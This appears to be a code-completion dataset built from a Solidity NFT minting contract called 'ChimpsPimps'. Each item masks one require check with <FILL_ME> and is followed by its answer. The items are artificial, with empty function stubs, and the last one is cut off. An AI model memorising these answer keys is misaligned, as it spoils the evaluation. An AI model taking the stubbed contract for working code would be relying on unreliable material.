//MMMMMMXl..cOKXOc. .',,,,,,,'..... ,oxl,. .,cddc. ..,,,,,,,,,,,,.. .l0KK0o. :0MMMMMM
//MMMMMK: .oKXKx, .,,,,,,'...... .lxc. 'lxc. ....',;,,,. ;kKXKx, ,OWMMMM
//MMMMK; 'xKXKo. .',,,,,,...clcclccxx, ,xd' .;:::;...',,,,'. .dKXKk; 'kWMMM
//MMMK: 'xKX0l. .',,,,,,..;dc,,;:d0x' .dkdxdl:;co:..',,,,'. .oKXKO; 'OWMM
//MMXc .dKX0l. .,,,,,,,'.,xc,ol;ckO; .dKkc;cl.'d: .,,,,,,. .oKXKk, ,0MM
//MWd..oKXKo. .,,,,,,,,..lx',d; ;kl. ,ko. ;o'.oo. .,,,,,,. .dKXKx' cXM
//MO' :0XKk' .',,,,,,,,..od. :dlxk' .dk;:o, .oo. .,,,,,,'. ,kXXKo..dW
//Nl 'kXX0: ',,,,,,,,,. cx, :olko. cOxoo, ,d; .,,,,;,,. c0XXO; ,K
//O. cKXKd. .,;,,;,,,,,' .oo,cdoOl ;Ol.cl'oo. .,,,,,,,,,. .xXXKd..d
//o .xXX0: ',;,,,,,,,,,. .:dook0c 'kkllcld' .,,,,,,,,,,' cKXXO; ;
//; ;OXXk' .,,,,,,,,,,,,,. .:cx0c .xKkolc...,,,,,,,,,,,,. ,OXXKl .
//. cKXXd. .,,,,,,,,,,,,,,'. ;Oc .,ccclc;,:cllll;. .xx;....,,,,,,,,,,,,,,. .xXXXd.
//..lKXKo. .,,,,,,,,,,,,,,,,'. ;Oc ,ddddoodOKkodxxxkd' .xo. .,,,,,,,,,,,,,,,,. .dXKXx.
// .oKXKl .,,,,,,,,,,,,,,,,,. ;O: ..;clokddO0KKdcc;lOKOOdodl:;'.. ,kl .',,,,,,,,,,,,,,,,. .oKXXx.
// lKKKl. .,,,,,,,,,,,,,,,,,. :Oc.,cll:,.';',,':c' .'.....';:clll:lOc .,,,,,,,,,,,,,,,,. .oKXXx.
//. :0XKd. .,,,,,,,,,,,,,,,,,. ;Okdl,. .':dOo. .',;,,,,,,,,,,,,. .xXXKo.
//. ,OXXk' .',,,,,,,,,,,,,,,. cOo. 'ld, .,,,,,,,,,,,,,'. ,OXX0c
//; .dKX0: .,,,,,,,,,,,,,,. 'xl. .ox. .,,,,,,,,,,,,. cKXKk, .
//d. cOXKd. .,,,,,,,,,,,,,'. .lx. :k, .,,,,,,,,,,,'. .xKKKo. :
//0, 'dKX0; .,,,,,,,,,,,,' .od. cx' .,,,,,,,,,,,. :0XKk; .x
//Wo..:kKKx. .',,;,,,,,,,;' cx' ,xc .',,,,,,,,,,. 'kKKOl. :X
//MK; .lOKKl. .',,,,,,,,,,,. .do. ,dl. ',,;,,,,,,,'. .oKX0d' .kM
//MWk. 'oOK0c .',,,;,,,,,,'. .ld:. .cdc. .',,,,,,,,,,'. .l0X0d; oNM
//MMNo. ,oOK0c. .',,,,,,,,,,,. 'col:,.. .':ll:. ..,,,,,,,,,,,.. .l0X0x;. :XMM
//MMMNl. ,oOK0l. .,,,;,,,;,,,,.. .';cclclcc:;,'........',;::ccllc;. ..,,,,,,,,,;,,. .o0K0d;. ;KMMM
//MMMMXl. 'lkKKd. .',,,,,,,,,,,,,'... ...,;cxxlccccccdko:;,'.. ..',,,,,,,,,,,,'. 'xKKOo;. ;KMMMM
//MMMMMNo. 'cdOKk:. .',,,,,,,,,,,,,,,'.. .ll. ,d' ..',,,,,,,,,,,,,,'. .:OK0xl, :KMMMMM
//MMMMMMWx. .;ox00d' ..',,,,,,,,,,'.. ....';xl ,xc'.........',,,,,,,,,'. ,dKKko:. .oXMMMMMM
//MMMMMMMW0:. 'cok0Ol. .',,,,,,...':looooooool' .:loooooolc;....,,,,,'. 'o0KOdc,. 'kWMMMMMMM
//MMMMMMMMMNd. .,cdk0Oo' ..','..;dxl;'... ..',:oxo' ..'.. .,o0KOdl;. .lKMMMMMMMMM
//MMMMMMMMMMWKl. .;coxOOd:. . .lkc. 'ok: .:x00kdl:. .;OWMMMMMMMMMM
//MMMMMMMMMMMMW0c. .,cldkOko;. .dO: .lkc..;oO0Oxoc;. .;kNMMMMMMMMMMMM
//MMMMMMMMMMMMMMW0l. .';codkOkxk0l. ,x0kOOkxol:,. .:kNMMMMMMMMMMMMMM
//MMMMMMMMMMMMMMMMWKd,. .':cldxkOkdl;'. .';ldkOOxdol:,...'l0WMMMMMMMMMMMMMMMM
//MMMMMMMMMMMMMMMMMMMNOo,. .';:clodxkkkxolc:,''..........',;:cldxkOkkxdolc;'...'ckXMMMMMMMMMMMMMMMMMMM
//MMMMMMMMMMMMMMMMMMMMMMNOo;....',:ccloodxxkkkkkxxxxxxxxkkkkkxxddollc:;,....,lkXWMMMMMMMMMMMMMMMMMMMMM
//MMMMMMMMMMMMMMMMMMMMMMMMMWKkl;.....',;;:cccllllllllllllllccc::;,'.....,lx0NMMMMMMMMMMMMMMMMMMMMMMMMM
//MMMMMMMMMMMMMMMMMMMMMMMMMMMMMWX0xl:,..........''''''''..........';ldOKWMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
//MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWNKOdc;'. ..,:ok0XWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
////////////////////////////////////////Chimps Pimps CC0 contract/////////////////////////////////////
pragma solidity ^0.8.4;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract ChimpsPimps is ERC721A, Ownable {
uint256 public constant TOTAL_CHIMPS = 2420;
uint256 public constant FREE_CHIMPS = 5;
uint256 public constant PRICE_CHIMP_MINT = 0.0042 ether;
bool public ChimpsArePimps = false;
mapping(address => bool) public AreYouPimp;
string private _baseTokenURI;
constructor(
string memory _initBaseURI
) ERC721A("ChimpsPimps", "CSP") {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function mintFreeChimp() public {
require(ChimpsArePimps, "Chimps must be Pimps");
require(<FILL_ME>)
require(!AreYouPimp[_msgSender()], "You are alredy pimp");
AreYouPimp[_msgSender()] = true;
_safeMint(msg.sender, FREE_CHIMPS);
}
function mintChimpPimp(uint256 chimps) public payable {
}
function reserveMint(uint256 quantity) external onlyOwner {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory)
{
}
function setChimpsPimps(bool _areChimpsPimps) external onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string calldata baseURI) external onlyOwner {
}
function withdrawEther() external onlyOwner {
}
}
| totalSupply()+FREE_CHIMPS<=TOTAL_CHIMPS,"Not enough Chimps remaining" | 82,106 | totalSupply()+FREE_CHIMPS<=TOTAL_CHIMPS |
"You are alredy pimp" | // SPDX-License-Identifier: MIT
//MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWNKOxol:;''.............',:codk0XWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
//MMMMMMMMMMMMMMMMMMMMMMMMMMMMWXOdc;'...',;clloddxxxxxxddoolc:;'....,cokKNMMMMMMMMMMMMMMMMMMMMMMMMMMMM
//MMMMMMMMMMMMMMMMMMMMMMMMWKkl;...':ldkO0KKXXKKKK00000KKKKKXXXKK0kxl:,...,cxKNMMMMMMMMMMMMMMMMMMMMMMMM
//MMMMMMMMMMMMMMMMMMMMMN0d;...;lxOKKXK0Oxdoc:;,,'''''''',,;:codkO0KXXK0xo:'..,oONMMMMMMMMMMMMMMMMMMMMM
//MMMMMMMMMMMMMMMMMMWKd;..'cxOKXK0koc;'... ................ ...';cok0KXK0kl;..,o0NMMMMMMMMMMMMMMMMMM
//MMMMMMMMMMMMMMMMNk:..'lk0XK0xl;.. ....',,,,,;,,,,,,,,,,,,,,'.... ..;lk0KXKko;..;xXMMMMMMMMMMMMMMMM
//MMMMMMMMMMMMMMXx,..:x0KK0xc'. ...',,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,'.. .'cx0KXKkc..'oKWMMMMMMMMMMMMM
//MMMMMMMMMMMMXx'..lkKXKkc'. ..',,,;,,;,,,,,,,,,''''''',,,,;,,,,,,,,,;,,'.. .'lkKXKOo,..lKWMMMMMMMMMMM
//MMMMMMMMMMNk,..lOKK0d;. ..',,,,,,,,,,,,'.... . ....',,,,,,,,,,,,,'.. .:x0XK0o'..dXMMMMMMMMMM
//MMMMMMMMWKc..:kKX0d, .',,;,,,,,,,,'.. .';clllooolllc:;,.. ..',,,,,,,,,,,,.. .;x0XXOl. ;OWMMMMMMMM
//MMMMMMMNx' ,xKKKx; .',,,,,,,,,,,.. 'coooc:;''..''',;:cloooc'. ..,,,;,,,,,,,,'. .;kKKKk:..oXMMMMMMM
//MMMMMMXl..cOKXOc. .',,,,,,,'..... ,oxl,. .,cddc. ..,,,,,,,,,,,,.. .l0KK0o. :0MMMMMM
//MMMMMK: .oKXKx, .,,,,,,'...... .lxc. 'lxc. ....',;,,,. ;kKXKx, ,OWMMMM
//MMMMK; 'xKXKo. .',,,,,,...clcclccxx, ,xd' .;:::;...',,,,'. .dKXKk; 'kWMMM
//MMMK: 'xKX0l. .',,,,,,..;dc,,;:d0x' .dkdxdl:;co:..',,,,'. .oKXKO; 'OWMM
//MMXc .dKX0l. .,,,,,,,'.,xc,ol;ckO; .dKkc;cl.'d: .,,,,,,. .oKXKk, ,0MM
//MWd..oKXKo. .,,,,,,,,..lx',d; ;kl. ,ko. ;o'.oo. .,,,,,,. .dKXKx' cXM
//MO' :0XKk' .',,,,,,,,..od. :dlxk' .dk;:o, .oo. .,,,,,,'. ,kXXKo..dW
//Nl 'kXX0: ',,,,,,,,,. cx, :olko. cOxoo, ,d; .,,,,;,,. c0XXO; ,K
//O. cKXKd. .,;,,;,,,,,' .oo,cdoOl ;Ol.cl'oo. .,,,,,,,,,. .xXXKd..d
//o .xXX0: ',;,,,,,,,,,. .:dook0c 'kkllcld' .,,,,,,,,,,' cKXXO; ;
//; ;OXXk' .,,,,,,,,,,,,,. .:cx0c .xKkolc...,,,,,,,,,,,,. ,OXXKl .
//. cKXXd. .,,,,,,,,,,,,,,'. ;Oc .,ccclc;,:cllll;. .xx;....,,,,,,,,,,,,,,. .xXXXd.
//..lKXKo. .,,,,,,,,,,,,,,,,'. ;Oc ,ddddoodOKkodxxxkd' .xo. .,,,,,,,,,,,,,,,,. .dXKXx.
// .oKXKl .,,,,,,,,,,,,,,,,,. ;O: ..;clokddO0KKdcc;lOKOOdodl:;'.. ,kl .',,,,,,,,,,,,,,,,. .oKXXx.
// lKKKl. .,,,,,,,,,,,,,,,,,. :Oc.,cll:,.';',,':c' .'.....';:clll:lOc .,,,,,,,,,,,,,,,,. .oKXXx.
//. :0XKd. .,,,,,,,,,,,,,,,,,. ;Okdl,. .':dOo. .',;,,,,,,,,,,,,. .xXXKo.
//. ,OXXk' .',,,,,,,,,,,,,,,. cOo. 'ld, .,,,,,,,,,,,,,'. ,OXX0c
//; .dKX0: .,,,,,,,,,,,,,,. 'xl. .ox. .,,,,,,,,,,,,. cKXKk, .
//d. cOXKd. .,,,,,,,,,,,,,'. .lx. :k, .,,,,,,,,,,,'. .xKKKo. :
//0, 'dKX0; .,,,,,,,,,,,,' .od. cx' .,,,,,,,,,,,. :0XKk; .x
//Wo..:kKKx. .',,;,,,,,,,;' cx' ,xc .',,,,,,,,,,. 'kKKOl. :X
//MK; .lOKKl. .',,,,,,,,,,,. .do. ,dl. ',,;,,,,,,,'. .oKX0d' .kM
//MWk. 'oOK0c .',,,;,,,,,,'. .ld:. .cdc. .',,,,,,,,,,'. .l0X0d; oNM
//MMNo. ,oOK0c. .',,,,,,,,,,,. 'col:,.. .':ll:. ..,,,,,,,,,,,.. .l0X0x;. :XMM
//MMMNl. ,oOK0l. .,,,;,,,;,,,,.. .';cclclcc:;,'........',;::ccllc;. ..,,,,,,,,,;,,. .o0K0d;. ;KMMM
//MMMMXl. 'lkKKd. .',,,,,,,,,,,,,'... ...,;cxxlccccccdko:;,'.. ..',,,,,,,,,,,,'. 'xKKOo;. ;KMMMM
//MMMMMNo. 'cdOKk:. .',,,,,,,,,,,,,,,'.. .ll. ,d' ..',,,,,,,,,,,,,,'. .:OK0xl, :KMMMMM
//MMMMMMWx. .;ox00d' ..',,,,,,,,,,'.. ....';xl ,xc'.........',,,,,,,,,'. ,dKKko:. .oXMMMMMM
//MMMMMMMW0:. 'cok0Ol. .',,,,,,...':looooooool' .:loooooolc;....,,,,,'. 'o0KOdc,. 'kWMMMMMMM
//MMMMMMMMMNd. .,cdk0Oo' ..','..;dxl;'... ..',:oxo' ..'.. .,o0KOdl;. .lKMMMMMMMMM
//MMMMMMMMMMWKl. .;coxOOd:. . .lkc. 'ok: .:x00kdl:. .;OWMMMMMMMMMM
//MMMMMMMMMMMMW0c. .,cldkOko;. .dO: .lkc..;oO0Oxoc;. .;kNMMMMMMMMMMMM
//MMMMMMMMMMMMMMW0l. .';codkOkxk0l. ,x0kOOkxol:,. .:kNMMMMMMMMMMMMMM
//MMMMMMMMMMMMMMMMWKd,. .':cldxkOkdl;'. .';ldkOOxdol:,...'l0WMMMMMMMMMMMMMMMM
//MMMMMMMMMMMMMMMMMMMNOo,. .';:clodxkkkxolc:,''..........',;:cldxkOkkxdolc;'...'ckXMMMMMMMMMMMMMMMMMMM
//MMMMMMMMMMMMMMMMMMMMMMNOo;....',:ccloodxxkkkkkxxxxxxxxkkkkkxxddollc:;,....,lkXWMMMMMMMMMMMMMMMMMMMMM
//MMMMMMMMMMMMMMMMMMMMMMMMMWKkl;.....',;;:cccllllllllllllllccc::;,'.....,lx0NMMMMMMMMMMMMMMMMMMMMMMMMM
//MMMMMMMMMMMMMMMMMMMMMMMMMMMMMWX0xl:,..........''''''''..........';ldOKWMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
//MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWNKOdc;'. ..,:ok0XWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
////////////////////////////////////////Chimps Pimps CC0 contract/////////////////////////////////////
pragma solidity ^0.8.4;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract ChimpsPimps is ERC721A, Ownable {
uint256 public constant TOTAL_CHIMPS = 2420;
uint256 public constant FREE_CHIMPS = 5;
uint256 public constant PRICE_CHIMP_MINT = 0.0042 ether;
bool public ChimpsArePimps = false;
mapping(address => bool) public AreYouPimp;
string private _baseTokenURI;
constructor(
string memory _initBaseURI
) ERC721A("ChimpsPimps", "CSP") {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function mintFreeChimp() public {
require(ChimpsArePimps, "Chimps must be Pimps");
require(totalSupply() + FREE_CHIMPS <= TOTAL_CHIMPS, "Not enough Chimps remaining");
require(<FILL_ME>)
AreYouPimp[_msgSender()] = true;
_safeMint(msg.sender, FREE_CHIMPS);
}
function mintChimpPimp(uint256 chimps) public payable {
}
function reserveMint(uint256 quantity) external onlyOwner {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory)
{
}
function setChimpsPimps(bool _areChimpsPimps) external onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string calldata baseURI) external onlyOwner {
}
function withdrawEther() external onlyOwner {
}
}
| !AreYouPimp[_msgSender()],"You are alredy pimp" | 82,106 | !AreYouPimp[_msgSender()] |
"Not enough Chimps remaining" | // SPDX-License-Identifier: MIT
//MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWNKOxol:;''.............',:codk0XWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
//MMMMMMMMMMMMMMMMMMMMMMMMMMMMWXOdc;'...',;clloddxxxxxxddoolc:;'....,cokKNMMMMMMMMMMMMMMMMMMMMMMMMMMMM
//MMMMMMMMMMMMMMMMMMMMMMMMWKkl;...':ldkO0KKXXKKKK00000KKKKKXXXKK0kxl:,...,cxKNMMMMMMMMMMMMMMMMMMMMMMMM
//MMMMMMMMMMMMMMMMMMMMMN0d;...;lxOKKXK0Oxdoc:;,,'''''''',,;:codkO0KXXK0xo:'..,oONMMMMMMMMMMMMMMMMMMMMM
//MMMMMMMMMMMMMMMMMMWKd;..'cxOKXK0koc;'... ................ ...';cok0KXK0kl;..,o0NMMMMMMMMMMMMMMMMMM
//MMMMMMMMMMMMMMMMNk:..'lk0XK0xl;.. ....',,,,,;,,,,,,,,,,,,,,'.... ..;lk0KXKko;..;xXMMMMMMMMMMMMMMMM
//MMMMMMMMMMMMMMXx,..:x0KK0xc'. ...',,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,'.. .'cx0KXKkc..'oKWMMMMMMMMMMMMM
//MMMMMMMMMMMMXx'..lkKXKkc'. ..',,,;,,;,,,,,,,,,''''''',,,,;,,,,,,,,,;,,'.. .'lkKXKOo,..lKWMMMMMMMMMMM
//MMMMMMMMMMNk,..lOKK0d;. ..',,,,,,,,,,,,'.... . ....',,,,,,,,,,,,,'.. .:x0XK0o'..dXMMMMMMMMMM
//MMMMMMMMWKc..:kKX0d, .',,;,,,,,,,,'.. .';clllooolllc:;,.. ..',,,,,,,,,,,,.. .;x0XXOl. ;OWMMMMMMMM
//MMMMMMMNx' ,xKKKx; .',,,,,,,,,,,.. 'coooc:;''..''',;:cloooc'. ..,,,;,,,,,,,,'. .;kKKKk:..oXMMMMMMM
//MMMMMMXl..cOKXOc. .',,,,,,,'..... ,oxl,. .,cddc. ..,,,,,,,,,,,,.. .l0KK0o. :0MMMMMM
//MMMMMK: .oKXKx, .,,,,,,'...... .lxc. 'lxc. ....',;,,,. ;kKXKx, ,OWMMMM
//MMMMK; 'xKXKo. .',,,,,,...clcclccxx, ,xd' .;:::;...',,,,'. .dKXKk; 'kWMMM
//MMMK: 'xKX0l. .',,,,,,..;dc,,;:d0x' .dkdxdl:;co:..',,,,'. .oKXKO; 'OWMM
//MMXc .dKX0l. .,,,,,,,'.,xc,ol;ckO; .dKkc;cl.'d: .,,,,,,. .oKXKk, ,0MM
//MWd..oKXKo. .,,,,,,,,..lx',d; ;kl. ,ko. ;o'.oo. .,,,,,,. .dKXKx' cXM
//MO' :0XKk' .',,,,,,,,..od. :dlxk' .dk;:o, .oo. .,,,,,,'. ,kXXKo..dW
//Nl 'kXX0: ',,,,,,,,,. cx, :olko. cOxoo, ,d; .,,,,;,,. c0XXO; ,K
//O. cKXKd. .,;,,;,,,,,' .oo,cdoOl ;Ol.cl'oo. .,,,,,,,,,. .xXXKd..d
//o .xXX0: ',;,,,,,,,,,. .:dook0c 'kkllcld' .,,,,,,,,,,' cKXXO; ;
//; ;OXXk' .,,,,,,,,,,,,,. .:cx0c .xKkolc...,,,,,,,,,,,,. ,OXXKl .
//. cKXXd. .,,,,,,,,,,,,,,'. ;Oc .,ccclc;,:cllll;. .xx;....,,,,,,,,,,,,,,. .xXXXd.
//..lKXKo. .,,,,,,,,,,,,,,,,'. ;Oc ,ddddoodOKkodxxxkd' .xo. .,,,,,,,,,,,,,,,,. .dXKXx.
// .oKXKl .,,,,,,,,,,,,,,,,,. ;O: ..;clokddO0KKdcc;lOKOOdodl:;'.. ,kl .',,,,,,,,,,,,,,,,. .oKXXx.
// lKKKl. .,,,,,,,,,,,,,,,,,. :Oc.,cll:,.';',,':c' .'.....';:clll:lOc .,,,,,,,,,,,,,,,,. .oKXXx.
//. :0XKd. .,,,,,,,,,,,,,,,,,. ;Okdl,. .':dOo. .',;,,,,,,,,,,,,. .xXXKo.
//. ,OXXk' .',,,,,,,,,,,,,,,. cOo. 'ld, .,,,,,,,,,,,,,'. ,OXX0c
//; .dKX0: .,,,,,,,,,,,,,,. 'xl. .ox. .,,,,,,,,,,,,. cKXKk, .
//d. cOXKd. .,,,,,,,,,,,,,'. .lx. :k, .,,,,,,,,,,,'. .xKKKo. :
//0, 'dKX0; .,,,,,,,,,,,,' .od. cx' .,,,,,,,,,,,. :0XKk; .x
//Wo..:kKKx. .',,;,,,,,,,;' cx' ,xc .',,,,,,,,,,. 'kKKOl. :X
//MK; .lOKKl. .',,,,,,,,,,,. .do. ,dl. ',,;,,,,,,,'. .oKX0d' .kM
//MWk. 'oOK0c .',,,;,,,,,,'. .ld:. .cdc. .',,,,,,,,,,'. .l0X0d; oNM
//MMNo. ,oOK0c. .',,,,,,,,,,,. 'col:,.. .':ll:. ..,,,,,,,,,,,.. .l0X0x;. :XMM
//MMMNl. ,oOK0l. .,,,;,,,;,,,,.. .';cclclcc:;,'........',;::ccllc;. ..,,,,,,,,,;,,. .o0K0d;. ;KMMM
//MMMMXl. 'lkKKd. .',,,,,,,,,,,,,'... ...,;cxxlccccccdko:;,'.. ..',,,,,,,,,,,,'. 'xKKOo;. ;KMMMM
//MMMMMNo. 'cdOKk:. .',,,,,,,,,,,,,,,'.. .ll. ,d' ..',,,,,,,,,,,,,,'. .:OK0xl, :KMMMMM
//MMMMMMWx. .;ox00d' ..',,,,,,,,,,'.. ....';xl ,xc'.........',,,,,,,,,'. ,dKKko:. .oXMMMMMM
//MMMMMMMW0:. 'cok0Ol. .',,,,,,...':looooooool' .:loooooolc;....,,,,,'. 'o0KOdc,. 'kWMMMMMMM
//MMMMMMMMMNd. .,cdk0Oo' ..','..;dxl;'... ..',:oxo' ..'.. .,o0KOdl;. .lKMMMMMMMMM
//MMMMMMMMMMWKl. .;coxOOd:. . .lkc. 'ok: .:x00kdl:. .;OWMMMMMMMMMM
//MMMMMMMMMMMMW0c. .,cldkOko;. .dO: .lkc..;oO0Oxoc;. .;kNMMMMMMMMMMMM
//MMMMMMMMMMMMMMW0l. .';codkOkxk0l. ,x0kOOkxol:,. .:kNMMMMMMMMMMMMMM
//MMMMMMMMMMMMMMMMWKd,. .':cldxkOkdl;'. .';ldkOOxdol:,...'l0WMMMMMMMMMMMMMMMM
//MMMMMMMMMMMMMMMMMMMNOo,. .';:clodxkkkxolc:,''..........',;:cldxkOkkxdolc;'...'ckXMMMMMMMMMMMMMMMMMMM
//MMMMMMMMMMMMMMMMMMMMMMNOo;....',:ccloodxxkkkkkxxxxxxxxkkkkkxxddollc:;,....,lkXWMMMMMMMMMMMMMMMMMMMMM
//MMMMMMMMMMMMMMMMMMMMMMMMMWKkl;.....',;;:cccllllllllllllllccc::;,'.....,lx0NMMMMMMMMMMMMMMMMMMMMMMMMM
//MMMMMMMMMMMMMMMMMMMMMMMMMMMMMWX0xl:,..........''''''''..........';ldOKWMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
//MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWNKOdc;'. ..,:ok0XWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
////////////////////////////////////////Chimps Pimps CC0 contract/////////////////////////////////////
pragma solidity ^0.8.4;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract ChimpsPimps is ERC721A, Ownable {
uint256 public constant TOTAL_CHIMPS = 2420;
uint256 public constant FREE_CHIMPS = 5;
uint256 public constant PRICE_CHIMP_MINT = 0.0042 ether;
bool public ChimpsArePimps = false;
mapping(address => bool) public AreYouPimp;
string private _baseTokenURI;
constructor(
string memory _initBaseURI
) ERC721A("ChimpsPimps", "CSP") {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function mintFreeChimp() public {
}
function mintChimpPimp(uint256 chimps) public payable {
require(ChimpsArePimps, "Chimps must be Pimps");
require(<FILL_ME>)
require(msg.value >= chimps * PRICE_CHIMP_MINT, "Not enough ETH");
_safeMint(msg.sender, chimps);
}
function reserveMint(uint256 quantity) external onlyOwner {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory)
{
}
function setChimpsPimps(bool _areChimpsPimps) external onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string calldata baseURI) external onlyOwner {
}
function withdrawEther() external onlyOwner {
}
}
| totalSupply()+chimps<=TOTAL_CHIMPS,"Not enough Chimps remaining" | 82,106 | totalSupply()+chimps<=TOTAL_CHIMPS |
"Not enough Chimps remaining" | // SPDX-License-Identifier: MIT
//MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWNKOxol:;''.............',:codk0XWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
//MMMMMMMMMMMMMMMMMMMMMMMMMMMMWXOdc;'...',;clloddxxxxxxddoolc:;'....,cokKNMMMMMMMMMMMMMMMMMMMMMMMMMMMM
//MMMMMMMMMMMMMMMMMMMMMMMMWKkl;...':ldkO0KKXXKKKK00000KKKKKXXXKK0kxl:,...,cxKNMMMMMMMMMMMMMMMMMMMMMMMM
//MMMMMMMMMMMMMMMMMMMMMN0d;...;lxOKKXK0Oxdoc:;,,'''''''',,;:codkO0KXXK0xo:'..,oONMMMMMMMMMMMMMMMMMMMMM
//MMMMMMMMMMMMMMMMMMWKd;..'cxOKXK0koc;'... ................ ...';cok0KXK0kl;..,o0NMMMMMMMMMMMMMMMMMM
//MMMMMMMMMMMMMMMMNk:..'lk0XK0xl;.. ....',,,,,;,,,,,,,,,,,,,,'.... ..;lk0KXKko;..;xXMMMMMMMMMMMMMMMM
//MMMMMMMMMMMMMMXx,..:x0KK0xc'. ...',,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,'.. .'cx0KXKkc..'oKWMMMMMMMMMMMMM
//MMMMMMMMMMMMXx'..lkKXKkc'. ..',,,;,,;,,,,,,,,,''''''',,,,;,,,,,,,,,;,,'.. .'lkKXKOo,..lKWMMMMMMMMMMM
//MMMMMMMMMMNk,..lOKK0d;. ..',,,,,,,,,,,,'.... . ....',,,,,,,,,,,,,'.. .:x0XK0o'..dXMMMMMMMMMM
//MMMMMMMMWKc..:kKX0d, .',,;,,,,,,,,'.. .';clllooolllc:;,.. ..',,,,,,,,,,,,.. .;x0XXOl. ;OWMMMMMMMM
//MMMMMMMNx' ,xKKKx; .',,,,,,,,,,,.. 'coooc:;''..''',;:cloooc'. ..,,,;,,,,,,,,'. .;kKKKk:..oXMMMMMMM
//MMMMMMXl..cOKXOc. .',,,,,,,'..... ,oxl,. .,cddc. ..,,,,,,,,,,,,.. .l0KK0o. :0MMMMMM
//MMMMMK: .oKXKx, .,,,,,,'...... .lxc. 'lxc. ....',;,,,. ;kKXKx, ,OWMMMM
//MMMMK; 'xKXKo. .',,,,,,...clcclccxx, ,xd' .;:::;...',,,,'. .dKXKk; 'kWMMM
//MMMK: 'xKX0l. .',,,,,,..;dc,,;:d0x' .dkdxdl:;co:..',,,,'. .oKXKO; 'OWMM
//MMXc .dKX0l. .,,,,,,,'.,xc,ol;ckO; .dKkc;cl.'d: .,,,,,,. .oKXKk, ,0MM
//MWd..oKXKo. .,,,,,,,,..lx',d; ;kl. ,ko. ;o'.oo. .,,,,,,. .dKXKx' cXM
//MO' :0XKk' .',,,,,,,,..od. :dlxk' .dk;:o, .oo. .,,,,,,'. ,kXXKo..dW
//Nl 'kXX0: ',,,,,,,,,. cx, :olko. cOxoo, ,d; .,,,,;,,. c0XXO; ,K
//O. cKXKd. .,;,,;,,,,,' .oo,cdoOl ;Ol.cl'oo. .,,,,,,,,,. .xXXKd..d
//o .xXX0: ',;,,,,,,,,,. .:dook0c 'kkllcld' .,,,,,,,,,,' cKXXO; ;
//; ;OXXk' .,,,,,,,,,,,,,. .:cx0c .xKkolc...,,,,,,,,,,,,. ,OXXKl .
//. cKXXd. .,,,,,,,,,,,,,,'. ;Oc .,ccclc;,:cllll;. .xx;....,,,,,,,,,,,,,,. .xXXXd.
//..lKXKo. .,,,,,,,,,,,,,,,,'. ;Oc ,ddddoodOKkodxxxkd' .xo. .,,,,,,,,,,,,,,,,. .dXKXx.
// .oKXKl .,,,,,,,,,,,,,,,,,. ;O: ..;clokddO0KKdcc;lOKOOdodl:;'.. ,kl .',,,,,,,,,,,,,,,,. .oKXXx.
// lKKKl. .,,,,,,,,,,,,,,,,,. :Oc.,cll:,.';',,':c' .'.....';:clll:lOc .,,,,,,,,,,,,,,,,. .oKXXx.
//. :0XKd. .,,,,,,,,,,,,,,,,,. ;Okdl,. .':dOo. .',;,,,,,,,,,,,,. .xXXKo.
//. ,OXXk' .',,,,,,,,,,,,,,,. cOo. 'ld, .,,,,,,,,,,,,,'. ,OXX0c
//; .dKX0: .,,,,,,,,,,,,,,. 'xl. .ox. .,,,,,,,,,,,,. cKXKk, .
//d. cOXKd. .,,,,,,,,,,,,,'. .lx. :k, .,,,,,,,,,,,'. .xKKKo. :
//0, 'dKX0; .,,,,,,,,,,,,' .od. cx' .,,,,,,,,,,,. :0XKk; .x
//Wo..:kKKx. .',,;,,,,,,,;' cx' ,xc .',,,,,,,,,,. 'kKKOl. :X
//MK; .lOKKl. .',,,,,,,,,,,. .do. ,dl. ',,;,,,,,,,'. .oKX0d' .kM
//MWk. 'oOK0c .',,,;,,,,,,'. .ld:. .cdc. .',,,,,,,,,,'. .l0X0d; oNM
//MMNo. ,oOK0c. .',,,,,,,,,,,. 'col:,.. .':ll:. ..,,,,,,,,,,,.. .l0X0x;. :XMM
//MMMNl. ,oOK0l. .,,,;,,,;,,,,.. .';cclclcc:;,'........',;::ccllc;. ..,,,,,,,,,;,,. .o0K0d;. ;KMMM
//MMMMXl. 'lkKKd. .',,,,,,,,,,,,,'... ...,;cxxlccccccdko:;,'.. ..',,,,,,,,,,,,'. 'xKKOo;. ;KMMMM
//MMMMMNo. 'cdOKk:. .',,,,,,,,,,,,,,,'.. .ll. ,d' ..',,,,,,,,,,,,,,'. .:OK0xl, :KMMMMM
